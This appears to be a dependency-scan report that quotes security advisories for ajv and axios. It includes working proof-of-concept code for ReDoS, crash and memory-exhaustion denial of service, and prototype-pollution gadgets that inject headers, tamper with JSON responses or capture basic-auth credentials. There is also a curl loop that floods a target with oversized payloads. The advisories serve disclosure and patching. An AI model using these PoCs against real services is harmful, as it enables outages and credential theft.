ajv (Another JSON Schema Validator) through version 8.17.1 is vulnerable to Regular Expression Denial of Service (ReDoS) when the `$data` option is enabled. The pattern keyword accepts runtime data via JSON Pointer syntax (`$data` reference), which is passed directly to the JavaScript `RegExp()` constructor without validation. An attacker can inject a malicious regex pattern (e.g., `\"^(a|a)*$\"`) combined with crafted input to cause catastrophic backtracking. A 31-character payload causes approximately 44 seconds of CPU blocking, with each additional character doubling execution time. This enables complete denial of service with a single HTTP request against any API using ajv with `$data`: true for dynamic schema validation.CWE-400 Uncontrolled Resource Consumption, CWE-1333 Inefficient Regular Expression Complexity
Vulnerable Software & Versions (NPM):
File Path: /github/workspace/src/redux/reducer/allUsersReducer.js
MD5: cec41ee7969b63bc67d2399b519d9ad6
SHA1: 72a5d44ad38acff382f01c59a61ca8b064053bac
SHA256:7bed353935dcaea482a9f634d6166b14eb772423155cd87d770d602ab6f9dfe8
File Path: /github/workspace/src/components/pages/features/synapp-admin/settings/administration/all-users/allUsersTabs.js
MD5: c68514a78c6cac72dec404d8578fff96
SHA1: 5efbd4a3d48c4310ab6b778fdd60a70d4f3a7861
SHA256:f40a86682171eedf487de4b5f612558ae05d7aee7aff348ad6d317eb69d33564
File Path: /github/workspace/src/utils/appKeyStrokeLimitingUtils.js
MD5: 34c36718795f1bdd188d2891e988a28b
SHA1: e5992141eba85926326240411f2a5a7a8e33f01a
SHA256:cb51edff56b2a79561a9de2375cacd6d0b4c128772368fceff459fbedf457ee9
File Path: /github/workspace/src/redux/reducer/appReducer.js
MD5: ea2889d97444c6767ac0b32b37d606f0
SHA1: b76e45ae9a2aca23470d54dc4164396b0bdcbd19
SHA256:b36bac1faa70463a58da58454d7efc502f3ee34506d32463b4f2f75ba0cf0b3e
File Path: /github/workspace/src/redux/services/appService.js
MD5: b093b6ea47a82c8f7879eb5e52625777
SHA1: 18d6bb3eb1c163b6cc087940853ea0aacbb501d7
SHA256:3cd844da136a4d1be250f4ca9f5ebfea57d1cfd66de1956ea18f10b2bc6525db
File Path: /github/workspace/src/redux/reducer/appointmentsReducer.js
MD5: 93ecd40d9f63a9f66f5df296ace2c35a
SHA1: b707783e0d4db45a9a31c3185af9c7bd4c8e967a
SHA256:3e3f29281552ddcaccfd70d53c2d830ec0f18b1bd932d2c801d0074f22062d66
File Path: /github/workspace/src/redux/services/appointmentsService.js
MD5: 5cfb036ec2eac429f0b3cf2c5bef5d89
SHA1: cac804c425b28c6cf30618b3925d7030d7d559b6
SHA256:bc0c2f54eaab6879cf36cb7ba244d3f83c9ddc91ca7b919dcdc841b77bb5dd3a
File Path: /github/workspace/public/dwv/decoders/pdfjs/arithmetic_decoder.js
MD5: 0f8cc384368899daa6b4ab5cdbf46ab1
SHA1: d29e97d2a6453b07b6e72d4faa298d1958774d53
SHA256:086985f40a62a2b07b0db176e0b04cc2032b475ba15f02cfa843638bac1b6b54
File Path: /github/workspace/src/utils/attachementUtils.js
MD5: 7ca6a4e396d477849d8885af4bddd873
SHA1: f7b7b3750ab6c85882ae2c2522f28568f7ad95a1
SHA256:69cf9dd135bdfb785395d9fd9cf9a178fc44bb14c5c94801951c18a85efc548e
File Path: /github/workspace/src/redux/reducer/authReducer.js
MD5: fb55f70df1bf6ba5453a92c2261345bf
SHA1: ff55099118fad27375c26b4b274b0aeab14d5e17
SHA256:df8797a2bff3afe14e70f3db9fcecb73c05274a098b795591a397dc80e5922bd
File Path: /github/workspace/src/app/routes/authRoutes.js
MD5: 09f575325ace1d1c520f0284315fb76a
SHA1: 0fa9e0ad10ea87928ec490fc508c1f4b24f51f89
SHA256:de7dacd37b566d7555c61c2a99a07cc34f1ecf01ec408a25a3adf31923a94545
File Path: /github/workspace/src/redux/services/authService.js
MD5: 7002d1dc453761f4c6a76ed0d4d46916
SHA1: 82c9c58c0cae92e83bffd79f3d47b2bd2c853491
SHA256:6f63d4ce911a5dfcd33bbf4528a188a42933f449e79119a2b3f37dabf73d42e3
File Path: /github/workspace/src/redux/services/authService.matrixSession.test.js
MD5: d4fa9dbc3da0147c47a328e1a92eb59b
SHA1: d7594fb0857d35284ea24a86932a6ffb49fc5460
SHA256:c5eedb694ac0439d04f2eef230dc37d347a983dbfca1120b55d45f9d917f2e25
File Path: /github/workspace/src/validations/authValidations.js
MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
File Path: /github/workspace/src/redux/reducer/authorEditorDashboardReducer.js
MD5: c5dbc858a208ec570b1f2ce0fdc89409
SHA1: 10bd8a01c2f779caf8aee252061b6a81e6fb6a2d
SHA256:01cce3f40457e7bd977e87df03cbeb69b3d40431bd868151b9014c732181737e
File Path: /github/workspace/src/redux/services/authorEditorDashboardService.js
MD5: 3b6fd5b77f44f1bb573a5800b30be2a7
SHA1: 31e59cd590cf888892dc1241d45895156bb74dd5
SHA256:a4f10d96ef98b86d1a0156905e6119d20b6014647d5172b9a31ff898d30bb56c
File Path: /github/workspace/src/redux/reducer/authorEditorHomeReducer.js
MD5: 252e1b979db37abaf2cf36d8b39fcdc3
SHA1: 5f92a8f35b62984d750e63519e40a23b62b6689c
SHA256:87718ec2e8aebe8cc41b703838c1ef0d1a2787e2689191423ab30e4433e85bcc
File Path: /github/workspace/src/redux/services/authorEditorHomeSerivce.js
MD5: f5f146e321ba96c3151786aa8653dd64
SHA1: 9f422753b75dc3c91fc4b92237ece3d6cbec471f
SHA256:a7510787ff1aa889bb4d4a444d4cb34a40cdc16d6a57a346a5d9367b4a63e032
File Path: /github/workspace/src/app/routes/authorEditorRoutes.js
MD5: 3f9457177e964c56de6cde3b6a943550
SHA1: 96f721e01def517906fba13fba0e16bcfff83a38
SHA256:d3a4cea59e13faf8df03d6543dc1f5c4acb21f23694cf1649787eaccaf4eddfb
File Path: /github/workspace/src/utils/sidebarUtils/authorEditorSettingsSidebarUtils.js
MD5: 77f94500baa8f2fc39d0fbfec6504c1e
SHA1: 93992e9aff705983e3108259af9117ad62eb4848
SHA256:6434910e0026fb3039cd0b270682617fd332e59b8d86f924f2f063d54172b756
File Path: /github/workspace/src/utils/sidebarUtils/authorEditorSidebarUtils.js
MD5: 4cb6f7875958090aac8ce5eef3426307
SHA1: 1a42171b5bd54afb5a0b82d364bc623ed340bd0c
SHA256:92910a18fc21cbb57c6fdece8874738ca4fd7ff520262a7cf0f22d2cbd3a4715
File Path: /github/workspace/package-lock.json?axios
Referenced In Project/Scope: package-lock.json: transitive
# Denial of Service via **proto** Key in mergeConfig
### Summary
The `mergeConfig` function in axios crashes with a TypeError when processing configuration objects containing `__proto__` as an own property. An attacker can trigger this by providing a malicious configuration object created via `JSON.parse()`, causing complete denial of service.
### Details
The vulnerability exists in `lib/core/mergeConfig.js` at lines 98-101:
```javascript
utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
const merge = mergeMap[prop] || mergeDeepProperties;
const configValue = merge(config1[prop], config2[prop], prop);
(utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});
```
When `prop` is `'__proto__'`:
1. `JSON.parse('{"__proto__": {...}}')` creates an object with `__proto__` as an own enumerable property
2. `Object.keys()` includes `'__proto__'` in the iteration
3. `mergeMap['__proto__']` performs prototype chain lookup, returning `Object.prototype` (truthy object)
4. The expression `mergeMap[prop] || mergeDeepProperties` evaluates to `Object.prototype`
5. `Object.prototype(...)` throws `TypeError: merge is not a function`
The `mergeConfig` function is called by:
- `Axios._request()` at `lib/core/Axios.js:75`
- `Axios.getUri()` at `lib/core/Axios.js:201`
- All HTTP method shortcuts (`get`, `post`, etc.) at `lib/core/Axios.js:211,224`
### PoC
```javascript
import axios from "axios";
const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);
```
**Reproduction steps:**
1. Clone axios repository or `npm install axios`
2. Create file `poc.mjs` with the code above
3. Run: `node poc.mjs`
4. Observe the TypeError crash
**Verified output (axios 1.13.4):**
```
TypeError: merge is not a function
at computeConfigValue (lib/core/mergeConfig.js:100:25)
at Object.forEach (lib/utils.js:280:10)
at mergeConfig (lib/core/mergeConfig.js:98:9)
```
**Control tests performed:**
| Test | Config | Result |
|------|--------|--------|
| Normal config | `{"timeout": 5000}` | SUCCESS |
| Malicious config | `JSON.parse('{"__proto__": {"x": 1}}')` | **CRASH** |
| Nested object | `{"headers": {"X-Test": "value"}}` | SUCCESS |
**Attack scenario:**
An application that accepts user input, parses it with `JSON.parse()`, and passes it to axios configuration will crash when receiving the payload `{"__proto__": {"x": 1}}`.
### Impact
**Denial of Service** - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.
Affected environments:
- Node.js servers using axios for HTTP requests
- Any backend that passes parsed JSON to axios configuration
This is NOT prototype pollution - the application crashes before any assignment occurs.
CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), CWE-754 Improper Check for Unusual or Exceptional ConditionsVulnerable Software & Versions (NPM):
## Summary
When Axios runs on Node.js and is given a URL with the `data:` scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (`Buffer`/`Blob`) and returns a synthetic 200 response.
This path ignores `maxContentLength` / `maxBodyLength` (which only protect HTTP responses), so an attacker can supply a very large `data:` URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested `responseType: 'stream'`.
## Details
The Node adapter (`lib/adapters/http.js`) supports the `data:` scheme. When `axios` encounters a request whose URL starts with `data:`, it does not perform an HTTP request. Instead, it calls `fromDataURI()` to decode the Base64 payload into a Buffer or Blob.
Relevant code from [`[httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231)`](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):
```js
const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];
if (protocol === 'data:') {
let convertedData;
if (method !== 'GET') {
return settle(resolve, reject, { status: 405, ... });
}
convertedData = fromDataURI(config.url, responseType === 'blob', {
Blob: config.env && config.env.Blob
});
return settle(resolve, reject, { data: convertedData, status: 200, ... });
}
```
The decoder is in [`[lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27)`](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):
```js
export default function fromDataURI(uri, asBlob, options) {
...
if (protocol === 'data') {
uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
const match = DATA_URL_PATTERN.exec(uri);
...
const body = match[3];
const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
if (asBlob) { return new _Blob([buffer], {type: mime}); }
return buffer;
}
throw new AxiosError('Unsupported protocol ' + protocol, ...);
}
```
* The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
* It does **not** honour `config.maxContentLength` or `config.maxBodyLength`, which only apply to HTTP streams.
* As a result, a `data:` URI of arbitrary size can cause the Node process to allocate the entire content into memory.
In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when `totalResponseBytes` exceeds [`[maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550)`](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for `data:` URIs.
## PoC
```js
const axios = require('axios');
async function main() {
// this example decodes ~120 MB
const base64Size = 160_000_000; // 120 MB after decoding
const base64 = 'A'.repeat(base64Size);
const uri = 'data:application/octet-stream;base64,' + base64;
console.log('Generating URI with base64 length:', base64.length);
const response = await axios.get(uri, {
responseType: 'arraybuffer'
});
console.log('Received bytes:', response.data.length);
}
main().catch(err => {
console.error('Error:', err.message);
});
```
Run with limited heap to force a crash:
```bash
node --max-old-space-size=100 poc.js
```
Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:
```
<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…
```
Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore `maxContentLength `, `maxBodyLength` and decodes into memory on Node before streaming enabling DoS.
```js
import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";
const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
timeout: 10000,
maxRedirects: 5,
httpAgent, httpsAgent,
headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
validateStatus: c => c >= 200 && c < 400
});
const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";
app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));
app.get("/healthz", (req,res)=>res.send("ok"));
/**
* POST /preview { "url": "<http|https|data URL>" }
* Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
*/
app.post("/preview", async (req, res) => {
const url = req.body?.url;
if (!url) return res.status(400).json({ error: "missing url" });
let u;
try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }
// Developer allows using data:// in the allowlist
const allowed = new Set(["http:", "https:", "data:"]);
if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });
const controller = new AbortController();
const onClose = () => controller.abort();
res.on("close", onClose);
const before = process.memoryUsage().heapUsed;
try {
const r = await axiosClient.get(u.toString(), {
responseType: "stream",
maxContentLength: 8 * 1024, // Axios will ignore this for data:
maxBodyLength: 8 * 1024, // Axios will ignore this for data:
signal: controller.signal
});
// stream only the first 64KB back
const cap = 64 * 1024;
let sent = 0;
const limiter = new PassThrough();
r.data.on("data", (chunk) => {
if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
else { sent += chunk.length; limiter.write(chunk); }
});
r.data.on("end", () => limiter.end());
r.data.on("error", (e) => limiter.destroy(e));
const after = process.memoryUsage().heapUsed;
res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
limiter.pipe(res);
} catch (err) {
const after = process.memoryUsage().heapUsed;
res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
res.status(502).json({ error: String(err?.message || err) });
} finally {
res.off("close", onClose);
}
});
app.listen(PORT, () => {
console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});
```
Run this app and send 3 post requests:
```sh
SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```
```
---
## Suggestions
1. **Enforce size limits**
For `protocol === 'data:'`, inspect the length of the Base64 payload before decoding. If `config.maxContentLength` or `config.maxBodyLength` is set, reject URIs whose payload exceeds the limit.
2. **Stream decoding**
Instead of decoding the entire payload in one `Buffer.from` call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.
CWE-770 Allocation of Resources Without Limits or ThrottlingVulnerable Software & Versions (NPM):
### Summary
toFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError.
### Details
lib/helpers/toFormData.js:210 defines an inner `build(value, path)` that recurses into every object/array child (line 225: `build(el, path ? path.concat(key) : [key])`). The only safeguard is a `stack` array used to detect circular references; there is no maximum depth and no try/catch around the recursion. Because `build` calls itself once per nesting level, a payload nested roughly 2000+ levels deep exhausts V8's call stack.
`toFormData` is the serializer behind `FormData` request bodies and `AxiosURLSearchParams` (used by `buildURL` when `params` is an object with `URLSearchParams` unavailable, see `lib/helpers/buildURL.js:53` and `lib/helpers/AxiosURLSearchParams.js:36`). Any server-side code that forwards a client-supplied object into `axios({ data, params })` therefore reaches the recursive walker with attacker-controlled depth.
The RangeError is thrown synchronously from inside `forEach`, escapes `toFormData`, and propagates out of the axios request call. In typical Express/Fastify request handlers this terminates the running request; in synchronous startup paths or worker threads it can crash the whole process.
### PoC
```js
import toFormData from 'axios/lib/helpers/toFormData.js';
import FormData from 'form-data';
function nest(depth) {
let o = { leaf: 1 };
for (let i = 0; i < depth; i++) o = { a: o };
return o;
}
try {
toFormData(nest(2500), new FormData());
} catch (e) {
console.log(e.name + ': ' + e.message);
}
// RangeError: Maximum call stack size exceeded
```
Server-side reachability example:
```js
// vulnerable proxy pattern
app.post('/forward', async (req, res) => {
await axios.post('https://upstream/api', req.body); // req.body user-controlled
res.send('ok');
});
// attacker POST /forward with {"a":{"a":{"a":... 2500 deep ...}}}
// -> toFormData build() overflows -> request handler crashes
```
Verified on axios 1.15.0 (latest, 2026-04-10), Node.js 20, 3/3 PoC runs reproduce the RangeError at depth 2500.
### Impact
A remote, unauthenticated attacker who can influence an object passed to axios as request `data` or `params` triggers an uncaught RangeError inside the synchronous recursive walker. In server-side applications that proxy or re-send client JSON through axios this crashes the request handler and, in worker/cluster setups, the process. Fix by bounding recursion depth in `toFormData`'s `build` function (reject or throw on depths beyond a configurable limit, e.g. 100) or rewriting the walker iteratively.
CWE-674 Uncontrolled RecursionVulnerable Software & Versions (NPM):
### Summary
A prototype pollution gadget exists in the Axios HTTP adapter (lib/adapters/http.js) that allows an attacker to inject arbitrary HTTP headers into outgoing requests. The vulnerability exploits duck-type checking of the data payload, where if Object.prototype is polluted with getHeaders, append, pipe, on, once, and Symbol.toStringTag, Axios misidentifies any plain object payload as a FormData instance and calls the attacker-controlled getHeaders() function, merging the returned headers into the outgoing request.
The vulnerable code resides exclusively in lib/adapters/http.js. The prototype pollution source does not need to originate from Axios itself — any prototype pollution primitive in any dependency in the application's dependency tree is sufficient to trigger this gadget.
Prerequisites:
A prototype pollution primitive must exist somewhere in the application's dependency chain (e.g., via lodash.merge, qs, JSON5, or any deep-merge utility processing attacker-controlled input). The pollution source is not required to be in Axios.
The application must use Axios to make HTTP requests with a data payload (POST, PUT, PATCH).
### Details
The vulnerability is in `lib/adapters/http.js`, in the data serialization pipeline:
```javascript
// lib/adapters/http.js
} else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) {
headers.set(data.getHeaders());
// ...
}
```
Axios uses two sequential duck-type checks, both of which can be satisfied via prototype pollution:
**1. `utils.isFormData(data)` — `lib/utils.js`**
```javascript
const isFormData = (thing) => {
let kind;
return thing && (
(typeof FormData === 'function' && thing instanceof FormData) || (
isFunction(thing.append) && (
(kind = kindOf(thing)) === 'formdata' ||
(kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]')
)
)
)
}
```
**2. `utils.isFunction(data.getHeaders)` — Duck-type for `form-data` npm package**
```javascript
// Returns true if Object.prototype.getHeaders is a function
utils.isFunction(data.getHeaders)
```
### PoC
```javascript
// Simulate Prototype Pollution
Object.prototype[Symbol.toStringTag] = 'FormData';
Object.prototype.append = () => {};
Object.prototype.getHeaders = () => {
const headers = Object.create(null);
(.... Introduce here all the headers you want ....)
return headers;
};
Object.prototype.pipe = function(d) { if(d&&d.end)d.end(); return d; };
Object.prototype.on = function() { return this; };
Object.prototype.once = function() { return this; };
// Legitimate application code
const response = await axios.post('https://internal-api.company.com/admin/delete',
{ userId: 42 },
{ headers: { 'Authorization': 'Bearer VALID_USER_TOKEN' } }
);
```
### Impact
- Authentication Bypass (CVSS: C:H)
- Session Fixation (CVSS: I:H)
- Privilege Escalation (CVSS: C:H, I:H)
- IP Spoofing / WAF Bypass (CVSS: I:H)
**Note on Scope**: There is an argument to promote this from **S:U to S:C** (Scope: Changed), which would raise the score to **10.0**. In some architectures, Axios is commonly used for service to service communication where downstream services trust identity headers (`Authorization`, `X-Role`, `X-User-ID`, `X-Tenant-ID`) forwarded from upstream API gateways. In this scenario, the vulnerable component (Axios in Service A) and the impacted component (Service B, which acts on the injected identity) are under different security authorities. The injected headers cross a trust boundary, meaning the impact extends beyond the security scope of the vulnerable component, the CVSS v3.1 definition of a Scope Change. We conservatively score S:U here, but maintainers should evaluate which one applies better here.
### Recommended Fix
Add an explicit own-property check in `lib/adapters/http.js`:
```diff
- } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) {
- headers.set(data.getHeaders());
+ } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders) &&
+ Object.prototype.hasOwnProperty.call(data, 'getHeaders')) {
+ headers.set(data.getHeaders());
```
CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), CWE-113 Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')Vulnerable Software & Versions (NPM):
## Summary
When `Object.prototype` has been polluted by any co-dependency with keys that axios reads without a `hasOwnProperty` guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process -- lodash < 4.17.21, or any of several other common npm packages with known PP vectors. The two gadgets confirmed here work independently.
---
## Background: how mergeConfig builds the config object
Every axios request goes through `Axios._request` in [`lib/core/Axios.js#L76`](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L76):
```js
config = mergeConfig(this.defaults, config);
```
Inside `mergeConfig`, the merged config is built as a plain `{}` object ([`lib/core/mergeConfig.js#L20`](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L20)):
```js
const config = {};
```
A plain `{}` inherits from `Object.prototype`. `mergeConfig` only iterates `Object.keys({ ...config1, ...config2 })` ([line 99](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L99)), which is a spread of own properties. Any key that is absent from both `this.defaults` and the per-request config will never be set as an own property on the merged config. Reading that key later on the merged config falls through to `Object.prototype`. That is the root mechanism behind all gadgets below.
---
## Gadget 1: parseReviver -- response tampering and exfiltration
**Introduced in:** v1.12.0 (commit 2a97634, PR #5926)
**Affected range:** >= 1.12.0, <= 1.13.6
### Root cause
The default `transformResponse` function calls [`JSON.parse(data, this.parseReviver)`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js#L124):
```js
return JSON.parse(data, this.parseReviver);
```
`this` is the merged config. `parseReviver` is not present in `defaults` and is not in the `mergeMap` inside `mergeConfig`. It is never set as an own property on the merged config. Accessing `this.parseReviver` therefore walks the prototype chain.
The call fires by default on every string response body because [`lib/defaults/transitional.js#L5`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/transitional.js#L5) sets:
```js
forcedJSONParsing: true,
```
which activates the JSON parse path unconditionally when `responseType` is unset.
`JSON.parse(text, reviver)` calls the reviver for every key-value pair in the parsed result, bottom-up. The reviver's return value is what the caller receives. An attacker-controlled reviver can both observe every key-value pair and silently replace values.
There is no interaction with `assertOptions` here. The `assertOptions` call in `Axios._request` ([line 119](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L119)) iterates `Object.keys(config)`, and since `parseReviver` was never set as an own property, it is not in that list. Nothing validates or invokes the polluted function before `transformResponse` does.
### Verification: own-property check
```js
import { createRequire } from 'module';
const require = createRequire(import.meta.url);
const mergeConfig = require('./lib/core/mergeConfig.js').default;
const defaults = require('./lib/defaults/index.js').default;
const merged = mergeConfig(defaults, { url: '/test', method: 'get' });
console.log(Object.prototype.hasOwnProperty.call(merged, 'parseReviver')); // false
console.log(merged.parseReviver); // undefined (no pollution)
Object.prototype.parseReviver = function(k, v) { return v; };
console.log(merged.parseReviver); // [Function (anonymous)] -- inherited
delete Object.prototype.parseReviver;
```
### Proof of concept
Two terminals. The server simulates a legitimate API endpoint. The client simulates a Node.js application whose process has been affected by prototype pollution from a co-dependency.
**Terminal 1 -- server (`server_gadget1.mjs`):**
```js
import http from 'http';
const server = http.createServer((req, res) => {
console.log('[server] request:', req.method, req.url);
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ role: 'user', balance: 100, token: 'tok_real_abc' }));
});
server.listen(19003, '127.0.0.1', () => {
console.log('[server] listening on 127.0.0.1:19003');
});
```
```
$ node server_gadget1.mjs
[server] listening on 127.0.0.1:19003
[server] request: GET /
```
**Terminal 2 -- client (`poc_parsereviver.mjs`):**
```js
import axios from 'axios';
// Simulate pollution arriving from a co-dependency (e.g. lodash < 4.17.21 via _.merge).
// In a real application this would be set before any axios request runs.
Object.prototype.parseReviver = function (key, value) {
// Called for every key-value pair in every JSON response parsed by axios in this process.
if (key !== '') {
// Exfiltrate: in a real attack this would POST to an attacker-controlled endpoint.
console.log('[exfil]', key, '=', JSON.stringify(value));
}
// Tamper: escalate role, inflate balance.
if (key === 'role') return 'admin';
if (key === 'balance') return 999999;
return value;
};
const res = await axios.get('http://127.0.0.1:19003/');
console.log('[app] received:', JSON.stringify(res.data));
delete Object.prototype.parseReviver;
```
```
$ node poc_parsereviver.mjs
[exfil] role = "user"
[exfil] balance = 100
[exfil] token = "tok_real_abc"
[app] received: {"role":"admin","balance":999999,"token":"tok_real_abc"}
```
The server sent `role: user`. The application received `role: admin`. The response is silently modified in place; no error is thrown, no log entry is produced.
---
## Gadget 2: transport -- full HTTP request hijacking with credentials
**Introduced in:** early adapter refactor, present across 0.x and 1.x
**Affected range:** >= 0.19.0, <= 1.13.6 (Node.js http adapter only)
### Root cause
Inside the Node.js http adapter at [`lib/adapters/http.js#L676`](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L676):
```js
if (config.transport) {
transport = config.transport;
}
```
`transport` is listed in `mergeMap` inside `mergeConfig` ([line 88](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L88)):
```js
transport: defaultToConfig2,
```
but it is not present in [`lib/defaults/index.js`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js) at all. `mergeConfig` iterates `Object.keys({ ...config1, ...config2 })` ([line 99](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L99)). Since `config1` (the defaults) has no `transport` key and a typical per-request config has none either, the key never enters the loop. It is never set as an own property on the merged config. The read at line 676 falls through to `Object.prototype`.
The fix in v1.13.5 (PR #7369) added a `hasOwnProp` check for `mergeMap` access, but the iteration set itself is the issue -- `transport` simply never enters it. The fix does not address this.
The transport interface is `{ request(options, handleResponseCallback) }`. The options object passed to `transport.request` at adapter runtime contains:
- `options.hostname`, `options.port`, `options.path` -- full target URL
- `options.auth` -- basic auth credentials in `"username:password"` form (set at [line 606](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L606))
- `options.headers` -- all request headers as a plain object
### Proof of concept
Two terminals. The server is a legitimate API endpoint that processes the request normally. The client's process has been affected by prototype pollution.
**Terminal 1 -- server (`server_gadget2.mjs`):**
```js
import http from 'http';
const server = http.createServer((req, res) => {
console.log('[server] request:', req.method, req.url, 'auth:', req.headers.authorization || '(none)');
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end('{"ok":true}');
});
server.listen(19002, '127.0.0.1', () => {
console.log('[server] listening on 127.0.0.1:19002');
});
```
```
$ node server_gadget2.mjs
[server] listening on 127.0.0.1:19002
[server] request: GET /api/users auth: Basic c3ZjX2FjY291bnQ6aHVudGVyMg==
```
**Terminal 2 -- client (`poc_transport.mjs`):**
```js
import axios from 'axios';
import http from 'http';
Object.prototype.transport = {
request(options, handleResponse) {
// Intercept: called for every outbound request in this process.
console.log('[hijack] target:', options.hostname + ':' + options.port + options.path);
console.log('[hijack] auth:', options.auth);
console.log('[hijack] headers:', JSON.stringify(options.headers));
// Forward to the real transport so the caller sees a normal 200.
return http.request(options, handleResponse);
},
};
const res = await axios.get('http://127.0.0.1:19002/api/users', {
auth: { username: 'svc_account', password: 'hunter2' },
});
console.log('[app] response status:', res.status);
delete Object.prototype.transport;
```
```
$ node poc_transport.mjs
[hijack] target: 127.0.0.1:19002/api/users
[hijack] auth: svc_account:hunter2
[hijack] headers: {"Accept":"application/json, text/plain, */*","User-Agent":"axios/1.13.6","Accept-Encoding":"gzip, compress, deflate, br"}
[app] response status: 200
```
The basic auth credentials are fully visible to the attacker's transport function. The request completes normally from the caller's perspective.
---
## Additional gadget: transformRequest / transformResponse
Separately, `mergeConfig` reads `config2[prop]` at [line 102](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102) without a `hasOwnProperty` guard. For keys like `transformRequest` and `transformResponse` that are present in `defaults` (and therefore processed by the mergeMap loop), if `Object.prototype.transformRequest` is polluted before the request, `config2["transformRequest"]` inherits the polluted value and `defaultToConfig2` replaces the safe default transforms with the attacker's function.
This one requires a discriminator because `assertOptions` in `Axios._request` ([line 119](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L119)) reads `schema[opt]` for every key in the merged config's own keys, and `schema["transformRequest"]` also inherits from `Object.prototype`, causing it to call the polluted value as a validator. The gadget function needs to return `true` when its first argument is a function (the assertOptions call) and perform the attack when its first argument is data (the [`transformData`](https://github.com/axios/axios/blob/v1.13.6/lib/core/transformData.js#L22) call).
Both `transformRequest` (fires with request body) and `transformResponse` (fires with response body) are confirmed affected. Range: >= 0.19.0, <= 1.13.6.
